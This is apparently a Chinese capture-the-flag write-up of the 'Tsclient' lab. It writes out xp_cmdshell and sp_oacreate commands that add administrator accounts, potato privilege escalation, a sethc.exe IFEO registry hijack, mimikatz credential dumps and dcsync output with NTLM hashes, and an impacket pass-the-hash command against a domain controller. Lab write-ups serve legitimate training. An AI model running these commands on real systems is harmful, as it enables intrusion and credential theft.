前言
Tsclient是一套难度为中等的靶场环境,完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有3个flag,分布于不同的靶机。
Flag 01
fscan直接扫,80是个iis默认页面,并没有太多信息,但是出来一个mssql,重点关注,这个是可以拿权限的。

参考链接:https://blog.csdn.net/weixin_40412037/article/details/112858836
尝试xp_cmdshell:
1 2 3 4
| EXEC sp_configure 'show advanced options', 1 RECONFIGURE EXEC sp_configure 'xp_cmdshell', 1 RECONFIGURE
|
执行 whoami
可以看到有回显

添加一个用户,竟然失败了,应该是权限太低了

再尝试sp_oacreate:
开启ole自动化功能
1 2 3 4
| EXEC sp_configure 'show advanced options', 1; RECONFIGURE WITH OVERRIDE; EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE WITH OVERRIDE;
|
添加用户
1 2 3 4
| DECLARE @shellx INT EXEC sp_oacreate 'wscript.shell',@shellx OUTPUT EXEC sp_oamethod @shellx,'run',NULL,'net user fushuling Qq123456. /add' EXEC sp_oamethod @shellx,'run',NULL,'net localgroup Administrators fushuling /add'
|

但是还是不能登录成功,那就直接使用MDUT,我直接使用它传了一个CS马

上线了先信息收集一手,
1 2 3
| whoami /priv 查看当前用户进程所拥有的权限
wmic os get caption,version,osarchitecture
|
主要是这一行 SeImpersonatePrivilege 身份验证后模拟客户端
,这个可以使用土豆家族提权
可以参考这篇文章 https://www.cnblogs.com/zpchcbd/p/17946353 ,尝试使用 https://github.com/itm4n/PrintSpoofer 利用windows打印服务来提权

我这里就直接使用 LSTAR 插件集成的烂土豆提权了,使用它去执行我们刚刚上传的CS马就行

这里就看到system权限回来了,直接去查看flag

1
| flag01: flag{2d702e74-4498-42cc-98e1-84c5e293a74f}
|
Flag 02
还是直接传个fscan直接扫
1 2 3 4
| [*]172.22.8.18 当前机器 [*]172.22.8.15 DC [*] 172.22.8.46 XIAORANG\WIN2016 [*] 172.22.8.31 XIAORANG\WIN19-CLIENT
|
查看当前用户的会话,可以john用户在使用rdp

查看当前网络连接情况,可以看到是172.22.0.31连接的

根据题目 tsclient, 参考文章如下
https://mp.weixin.qq.com/s/Aog7M_6XauRi96wFeRo6sg
https://www.geekby.site/2021/01/红蓝对抗中rdp协议的利用
https://www.c0bra.xyz/2021/01/11/RDP反向攻击
由这些文章可知,我们需要john的令牌,但是很方便,我们现在有system权限,随便找一个john进程,进程注入就行

查看网络共享

查看共享的文件夹发现是用户名账号密码凭证
1
| xiaorang.lab\Aldrich:Ald@rLMWuy7Z!
|

CS自带的代理不好用,我这边还是用 Stowaway

挂上代理密码喷洒,可以看到其实三个机器账号密码都是一样的,提示密码需要更改

1
| proxychains4 -q python3 smbpasswd.py xiaorang.lab/Aldtich:'Ald@rLMWuy7Z'@172.22.8.46 -newpass 'Qq123456.'
|
我这边因为改过一次了,所以截图的时候更改失败了

1 2 3
| 172.22.8.15 rdp不上 172.22.8.31 登不了 172.22.8.46 成功登录
|

应该是不出网的,直接转发上线,也可以用下面的命令探测出网,当然这个只能判断http是否出网。

这里生成的马,只能使用Stageless,不能使用Stager,因为需要联网下载。因为我们有rdp,所以直接把生成的马复制粘贴就行,执行就上线了

随后就是要想办法提权,这里使用的方式是修改注册表进行 IFEO 劫持
可以参考这篇文章 https://mp.weixin.qq.com/s/-WDi_kr8ShlSsci2_LP5Kg
1
| get-acl -path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" | fl *
|

1
| reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\Windows\System32\cmd.exe"
|

先锁定账户,然后连按五次 shift,运行咋们的马

查看flag

1
| flag02: flag{6fc960b3-7621-4d3b-9181-aced5ccbaa02}
|
Flag 03
先信息收集一波
1 2 3 4 5
| shell net user /domain
shell net group "domain admins" /domain
logonpasswords
|
可以看到我们当前上线的WIN2016 是域管理员

所以最简单的就是通过logonpasswords抓取登录凭证,然后直接hash传递
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257
| [05/24 15:37:08] beacon> logonpasswords [05/24 15:37:08] [*] Tasked beacon to run mimikatz's sekurlsa::logonpasswords command [05/24 15:37:09] [+] host called home, sent: 313675 bytes [05/24 15:37:10] [+] received output:
Authentication Id : 0 ; 10891901 (00000000:00a6327d) Session : RemoteInteractive from 2 User Name : Aldrich Domain : XIAORANG Logon Server : DC01 Logon Time : 2025/5/24 15:15:24 SID : S-1-5-21-3289074908-3315245560-3429321632-1105 msv : [00000003] Primary * Username : Aldrich * Domain : XIAORANG * NTLM : 618af274695162836fc7f3afd7a234f1 * SHA1 : 07e2b23a9686473ae80da1845350a74f1b606545 * DPAPI : 9790ad4688b3dc847b940f7741fcc525 tspkg : wdigest : * Username : Aldrich * Domain : XIAORANG * Password : (null) kerberos : * Username : Aldrich * Domain : XIAORANG.LAB * Password : (null) ssp : credman :
Authentication Id : 0 ; 10868352 (00000000:00a5d680) Session : Interactive from 2 User Name : DWM-2 Domain : Window Manager Logon Server : (null) Logon Time : 2025/5/24 15:15:23 SID : S-1-5-90-0-2 msv : [00000003] Primary * Username : WIN2016$ * Domain : XIAORANG * NTLM : b1db6eeefcce2c671fc80f1f8d6065c7 * SHA1 : 990c2317cda87e5677423c83f8cc25992fde3fa2 tspkg : wdigest : * Username : WIN2016$ * Domain : XIAORANG * Password : (null) kerberos : * Username : WIN2016$ * Domain : xiaorang.lab * Password : c3 5f c8 e3 f7 0e 9c d9 c8 42 ff a5 85 18 c9 75 41 a4 6d 81 7c 5a a6 89 6d 5c de ab 1a 8d 00 e9 12 c6 a0 b1 d6 fb 71 7c 14 16 50 ea 6e 13 b4 b3 d2 1d 52 10 e4 a9 7f da 7d c5 e8 77 2d f2 2d d3 51 d1 57 82 75 da 30 71 93 62 08 ae 57 59 7c ce 01 19 9c 8e 22 f9 1f fa f8 13 0f 61 23 74 dc 1c 75 c3 61 bc f9 21 7f ff 24 93 81 11 0e 04 9b 4a fb ec 81 9e fd 12 88 a9 dc 16 3d 20 bb f4 4e 15 6c c4 96 fd 8c 53 c2 3e 68 af ac 2d a2 6d d8 7d 80 96 05 78 46 72 67 e8 18 a0 e5 06 4c cc ba 2b 56 cb cf 03 43 54 7a 80 90 ce 53 95 2b d8 fe ae a2 d0 05 2e fc 8c a0 af b3 be c3 61 76 1b 89 be 38 36 43 bb 60 6c 88 98 d9 58 d2 c0 75 17 93 1d 87 7f b4 e8 d9 85 e4 c9 c0 e3 0f 57 3f 2d 83 76 89 7c 73 84 14 9b 29 15 8b 42 71 6e 97 0c e0 66 ssp : credman :
Authentication Id : 0 ; 55449 (00000000:0000d899) Session : Interactive from 1 User Name : DWM-1 Domain : Window Manager Logon Server : (null) Logon Time : 2025/5/24 13:35:48 SID : S-1-5-90-0-1 msv : [00000003] Primary * Username : WIN2016$ * Domain : XIAORANG * NTLM : 4ba974f170ab0fe1a8a1eb0ed8f6fe1a * SHA1 : e06238ecefc14d675f762b08a456770dc000f763 tspkg : wdigest : * Username : WIN2016$ * Domain : XIAORANG * Password : (null) kerberos : * Username : WIN2016$ * Domain : xiaorang.lab * Password : 9e ae c4 7a ed ee 91 74 a5 59 61 a5 00 2c c5 00 60 3b 87 48 d0 17 48 cf df 7b 14 af 9a 99 22 b5 94 ba 0a 1e f0 6e f0 25 b1 e2 a2 62 fb b8 68 93 42 64 08 b7 f6 2e f7 cf ae a3 7a 94 9d 32 24 1a b1 6b 87 6c 5e f1 d3 89 c6 c4 8b d3 bd 05 9c b0 e1 85 d4 2c 03 56 5f af 09 15 12 10 df 74 e7 4c d3 65 55 d8 ab bd b4 71 5c 8c a7 bd 14 60 8b 44 b5 d8 d8 61 23 f1 4f 4d 8e a0 dc ac 8a 60 15 0d f7 9f a1 85 98 c4 cf 34 ec ee ea c5 b9 5b 42 8b 97 cc 4d ed 1f db 8c b4 45 06 ce 40 fc 81 96 ac c3 61 e5 e9 42 90 69 f3 b2 85 fa 80 59 e2 8b a5 f6 70 5d 1a bd 5f b1 85 6b ae b0 16 42 29 2c 99 57 fb 49 ea e3 29 49 56 55 6c 9a 2b ee 13 77 fe d7 a3 51 b8 01 ec bb 60 22 b8 7c 2f f5 6b 0f 6b 87 36 76 45 81 7e e3 71 0a a8 ca 2a a3 a6 05 64 ssp : credman :
Authentication Id : 0 ; 996 (00000000:000003e4) Session : Service from 0 User Name : WIN2016$ Domain : XIAORANG Logon Server : (null) Logon Time : 2025/5/24 13:35:48 SID : S-1-5-20 msv : [00000003] Primary * Username : WIN2016$ * Domain : XIAORANG * NTLM : b1db6eeefcce2c671fc80f1f8d6065c7 * SHA1 : 990c2317cda87e5677423c83f8cc25992fde3fa2 tspkg : wdigest : * Username : WIN2016$ * Domain : XIAORANG * Password : (null) kerberos : * Username : win2016$ * Domain : XIAORANG.LAB * Password : c3 5f c8 e3 f7 0e 9c d9 c8 42 ff a5 85 18 c9 75 41 a4 6d 81 7c 5a a6 89 6d 5c de ab 1a 8d 00 e9 12 c6 a0 b1 d6 fb 71 7c 14 16 50 ea 6e 13 b4 b3 d2 1d 52 10 e4 a9 7f da 7d c5 e8 77 2d f2 2d d3 51 d1 57 82 75 da 30 71 93 62 08 ae 57 59 7c ce 01 19 9c 8e 22 f9 1f fa f8 13 0f 61 23 74 dc 1c 75 c3 61 bc f9 21 7f ff 24 93 81 11 0e 04 9b 4a fb ec 81 9e fd 12 88 a9 dc 16 3d 20 bb f4 4e 15 6c c4 96 fd 8c 53 c2 3e 68 af ac 2d a2 6d d8 7d 80 96 05 78 46 72 67 e8 18 a0 e5 06 4c cc ba 2b 56 cb cf 03 43 54 7a 80 90 ce 53 95 2b d8 fe ae a2 d0 05 2e fc 8c a0 af b3 be c3 61 76 1b 89 be 38 36 43 bb 60 6c 88 98 d9 58 d2 c0 75 17 93 1d 87 7f b4 e8 d9 85 e4 c9 c0 e3 0f 57 3f 2d 83 76 89 7c 73 84 14 9b 29 15 8b 42 71 6e 97 0c e0 66 ssp : credman :
Authentication Id : 0 ; 25474 (00000000:00006382) Session : UndefinedLogonType from 0 User Name : (null) Domain : (null) Logon Server : (null) Logon Time : 2025/5/24 13:35:47 SID : msv : [00000003] Primary * Username : WIN2016$ * Domain : XIAORANG * NTLM : b1db6eeefcce2c671fc80f1f8d6065c7 * SHA1 : 990c2317cda87e5677423c83f8cc25992fde3fa2 tspkg : wdigest : kerberos : ssp : credman :
Authentication Id : 0 ; 10868315 (00000000:00a5d65b) Session : Interactive from 2 User Name : DWM-2 Domain : Window Manager Logon Server : (null) Logon Time : 2025/5/24 15:15:23 SID : S-1-5-90-0-2 msv : [00000003] Primary * Username : WIN2016$ * Domain : XIAORANG * NTLM : b1db6eeefcce2c671fc80f1f8d6065c7 * SHA1 : 990c2317cda87e5677423c83f8cc25992fde3fa2 tspkg : wdigest : * Username : WIN2016$ * Domain : XIAORANG * Password : (null) kerberos : * Username : WIN2016$ * Domain : xiaorang.lab * Password : c3 5f c8 e3 f7 0e 9c d9 c8 42 ff a5 85 18 c9 75 41 a4 6d 81 7c 5a a6 89 6d 5c de ab 1a 8d 00 e9 12 c6 a0 b1 d6 fb 71 7c 14 16 50 ea 6e 13 b4 b3 d2 1d 52 10 e4 a9 7f da 7d c5 e8 77 2d f2 2d d3 51 d1 57 82 75 da 30 71 93 62 08 ae 57 59 7c ce 01 19 9c 8e 22 f9 1f fa f8 13 0f 61 23 74 dc 1c 75 c3 61 bc f9 21 7f ff 24 93 81 11 0e 04 9b 4a fb ec 81 9e fd 12 88 a9 dc 16 3d 20 bb f4 4e 15 6c c4 96 fd 8c 53 c2 3e 68 af ac 2d a2 6d d8 7d 80 96 05 78 46 72 67 e8 18 a0 e5 06 4c cc ba 2b 56 cb cf 03 43 54 7a 80 90 ce 53 95 2b d8 fe ae a2 d0 05 2e fc 8c a0 af b3 be c3 61 76 1b 89 be 38 36 43 bb 60 6c 88 98 d9 58 d2 c0 75 17 93 1d 87 7f b4 e8 d9 85 e4 c9 c0 e3 0f 57 3f 2d 83 76 89 7c 73 84 14 9b 29 15 8b 42 71 6e 97 0c e0 66 ssp : credman :
Authentication Id : 0 ; 10179058 (00000000:009b51f2) Session : Service from 0 User Name : DefaultAppPool Domain : IIS APPPOOL Logon Server : (null) Logon Time : 2025/5/24 13:53:51 SID : S-1-5-82-3006700770-424185619-1745488364-794895919-4004696415 msv : [00000003] Primary * Username : WIN2016$ * Domain : XIAORANG * NTLM : b1db6eeefcce2c671fc80f1f8d6065c7 * SHA1 : 990c2317cda87e5677423c83f8cc25992fde3fa2 tspkg : wdigest : * Username : WIN2016$ * Domain : XIAORANG * Password : (null) kerberos : * Username : WIN2016$ * Domain : xiaorang.lab * Password : c3 5f c8 e3 f7 0e 9c d9 c8 42 ff a5 85 18 c9 75 41 a4 6d 81 7c 5a a6 89 6d 5c de ab 1a 8d 00 e9 12 c6 a0 b1 d6 fb 71 7c 14 16 50 ea 6e 13 b4 b3 d2 1d 52 10 e4 a9 7f da 7d c5 e8 77 2d f2 2d d3 51 d1 57 82 75 da 30 71 93 62 08 ae 57 59 7c ce 01 19 9c 8e 22 f9 1f fa f8 13 0f 61 23 74 dc 1c 75 c3 61 bc f9 21 7f ff 24 93 81 11 0e 04 9b 4a fb ec 81 9e fd 12 88 a9 dc 16 3d 20 bb f4 4e 15 6c c4 96 fd 8c 53 c2 3e 68 af ac 2d a2 6d d8 7d 80 96 05 78 46 72 67 e8 18 a0 e5 06 4c cc ba 2b 56 cb cf 03 43 54 7a 80 90 ce 53 95 2b d8 fe ae a2 d0 05 2e fc 8c a0 af b3 be c3 61 76 1b 89 be 38 36 43 bb 60 6c 88 98 d9 58 d2 c0 75 17 93 1d 87 7f b4 e8 d9 85 e4 c9 c0 e3 0f 57 3f 2d 83 76 89 7c 73 84 14 9b 29 15 8b 42 71 6e 97 0c e0 66 ssp : credman :
Authentication Id : 0 ; 995 (00000000:000003e3) Session : Service from 0 User Name : IUSR Domain : NT AUTHORITY Logon Server : (null) Logon Time : 2025/5/24 13:35:51 SID : S-1-5-17 msv : tspkg : wdigest : * Username : (null) * Domain : (null) * Password : (null) kerberos : ssp : credman :
Authentication Id : 0 ; 997 (00000000:000003e5) Session : Service from 0 User Name : LOCAL SERVICE Domain : NT AUTHORITY Logon Server : (null) Logon Time : 2025/5/24 13:35:48 SID : S-1-5-19 msv : tspkg : wdigest : * Username : (null) * Domain : (null) * Password : (null) kerberos : * Username : (null) * Domain : (null) * Password : (null) ssp : credman :
Authentication Id : 0 ; 55422 (00000000:0000d87e) Session : Interactive from 1 User Name : DWM-1 Domain : Window Manager Logon Server : (null) Logon Time : 2025/5/24 13:35:48 SID : S-1-5-90-0-1 msv : [00000003] Primary * Username : WIN2016$ * Domain : XIAORANG * NTLM : b1db6eeefcce2c671fc80f1f8d6065c7 * SHA1 : 990c2317cda87e5677423c83f8cc25992fde3fa2 tspkg : wdigest : * Username : WIN2016$ * Domain : XIAORANG * Password : (null) kerberos : * Username : WIN2016$ * Domain : xiaorang.lab * Password : c3 5f c8 e3 f7 0e 9c d9 c8 42 ff a5 85 18 c9 75 41 a4 6d 81 7c 5a a6 89 6d 5c de ab 1a 8d 00 e9 12 c6 a0 b1 d6 fb 71 7c 14 16 50 ea 6e 13 b4 b3 d2 1d 52 10 e4 a9 7f da 7d c5 e8 77 2d f2 2d d3 51 d1 57 82 75 da 30 71 93 62 08 ae 57 59 7c ce 01 19 9c 8e 22 f9 1f fa f8 13 0f 61 23 74 dc 1c 75 c3 61 bc f9 21 7f ff 24 93 81 11 0e 04 9b 4a fb ec 81 9e fd 12 88 a9 dc 16 3d 20 bb f4 4e 15 6c c4 96 fd 8c 53 c2 3e 68 af ac 2d a2 6d d8 7d 80 96 05 78 46 72 67 e8 18 a0 e5 06 4c cc ba 2b 56 cb cf 03 43 54 7a 80 90 ce 53 95 2b d8 fe ae a2 d0 05 2e fc 8c a0 af b3 be c3 61 76 1b 89 be 38 36 43 bb 60 6c 88 98 d9 58 d2 c0 75 17 93 1d 87 7f b4 e8 d9 85 e4 c9 c0 e3 0f 57 3f 2d 83 76 89 7c 73 84 14 9b 29 15 8b 42 71 6e 97 0c e0 66 ssp : credman :
Authentication Id : 0 ; 999 (00000000:000003e7) Session : UndefinedLogonType from 0 User Name : WIN2016$ Domain : XIAORANG Logon Server : (null) Logon Time : 2025/5/24 13:35:47 SID : S-1-5-18 msv : tspkg : wdigest : * Username : WIN2016$ * Domain : XIAORANG * Password : (null) kerberos : * Username : win2016$ * Domain : XIAORANG.LAB * Password : (null) ssp : credman :
|
使用WIN2016$的hash直接传递

1
| flag03: flag{8cc6b6f0-a4bd-4bd1-ac6a-dc1ada588498}
|
第二种方法
其实是一样的,只是通过dcsync抓取hash,然后使用Administrator的hash,hash传递
1
| shell C:\Windows\Temp\mimi.exe "lsadump::dcsync /domain:xiaorang.lab /all /csv" "exit"
|

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| [05/24 16:32:20] beacon> shell C:\Windows\Temp\mimi.exe "lsadump::dcsync /domain:xiaorang.lab /all /csv" "exit" [05/24 16:32:20] [*] Tasked beacon to run: C:\Windows\Temp\mimi.exe "lsadump::dcsync /domain:xiaorang.lab /all /csv" "exit" [05/24 16:32:20] [+] host called home, sent: 111 bytes [05/24 16:32:21] [+] received output:
CXK yyds!
cxkniubi(commandline) # lsadump::dcsync /domain:xiaorang.lab /all /csv [DC] 'xiaorang.lab' will be the domain [DC] 'DC01.xiaorang.lab' will be the DC server [DC] Exporting domain 'xiaorang.lab' [rpc] Service : ldap [rpc] AuthnSvc : GSS_NEGOTIATE (9) 502 krbtgt 3ffd5b58b4a6328659a606c3ea6f9b63 514 1000 DC01$ 43de117a511370260995b0e61fa28149 532480 1103 WIN2016$ b1db6eeefcce2c671fc80f1f8d6065c7 16781312 1104 WIN19-CLIENT$ eb60f8c59b454eb388ab296f90d84ac5 16781312 1105 Aldrich 618af274695162836fc7f3afd7a234f1 512 500 Administrator 2c9d81bdcf3ec8b1def10328a7cc2f08 512
cxkniubi(commandline) # exit Bye!
|
使用Administrator的hash传递
1
| proxychains -q python3 smbexec.py -hashes :2c9d81bdcf3ec8b1def10328a7cc2f08 administrator@172.22.8.15
|
